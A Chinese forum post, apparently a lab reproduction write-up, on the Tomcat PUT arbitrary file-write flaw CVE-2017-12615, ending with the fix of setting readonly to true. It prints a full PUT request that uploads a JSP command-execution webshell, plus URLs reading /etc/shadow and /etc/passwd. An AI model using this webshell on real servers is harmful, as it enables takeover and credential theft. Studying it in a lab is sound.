Tomcat_PUT方法任意写文件(CVE-2017-12615)

打印 上一主题 下一主题

主题 862|帖子 862|积分 2586

目录

Tomcat_PUT方法任意写文件(CVE-2017-12615)

说明内容漏洞编号CVE-2017-12615漏洞名称Tomcat_PUT方法任意写文件漏洞评级高危影响范围Tomcat版本:8.5.19漏洞描述漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件修复方案设置readonly为true1.1、漏洞描述

当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为  false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP  文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限
1.2、漏洞等级

高危
1.3、影响版本

Tomcat版本:8.5.19
1.4、漏洞复现

1、基础环境

Path:Vulhub/tomcat/CVE-2017-12615
启动测试环境:
  1. sudo docker-compose up -d
复制代码
访问http://your-ip:8080/即可看到Tomcat的Example页面

2、漏洞扫描

nacs工具

nuclei工具

3、漏洞验证

工具扫描验证

通过nuclei工具扫出来的结果,验证漏洞存在
  1. http://192.168.80.141:8080/poc.jsp?cmd=cat+%2Fetc%2Fshadow
复制代码
  1. http://192.168.80.141:8080/poc.jsp?cmd=cat+%2Fetc%2Fpasswd
复制代码
  1. http://192.168.80.141:8080/poc.jsp?cmd=whoami
复制代码

POC

用burpsuite 进行抓包并做如下修改(GET请求改为PUT,修改名字,并在下面添加jsp的shell)
  1. PUT /6.jsp/ HTTP/1.1
  2. Host: 192.168.80.141:8080
  3. Accept: */*
  4. Accept-Language: en
  5. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  6. Connection: close
  7. Content-Type: application/x-www-form-urlencoded
  8. Content-Length: 667
  9. <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
  10. +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
复制代码


1.6、修复建议

设置readonly为true

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

千千梦丶琪

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表